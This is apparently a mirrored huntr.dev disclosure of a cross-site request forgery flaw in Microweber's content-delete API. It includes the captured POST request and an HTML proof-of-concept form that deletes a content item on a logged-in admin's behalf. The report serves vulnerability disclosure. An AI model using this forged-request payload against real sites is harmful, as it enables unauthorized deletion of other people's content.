Lucene search

K
huntrShubh123-tri65B5A243-3F0C-4DF3-9BAB-898332180968
HistoryJan 19, 2022 - 11:56 a.m.

Cross-Site Request Forgery (CSRF) in microweber/microweber

2022-01-1911:56:21
shubh123-tri
www.huntr.dev
7

0.001 Low

EPSS

Percentile

30.5%

Description

CSRF issues deleting the content of the website since it is having no CSRF token validation.

Request

POST /demo/api/content/delete HTTP/1.1
Host: demo.microweber.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 12
Origin: https://demo.microweber.org
Connection: close
Referer: https://demo.microweber.org/demo/admin/view:content
Cookie: 
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

ids%5B%5D=21

Proof of Concept

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.microweber.org/demo/api/content/delete" method="POST">
      <input type="hidden" name="ids[]" value="21" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Impact

This vulnerability is capable of enabling an attacker to delete any content without authorization.

0.001 Low

EPSS

Percentile

30.5%

Related for 65B5A243-3F0C-4DF3-9BAB-898332180968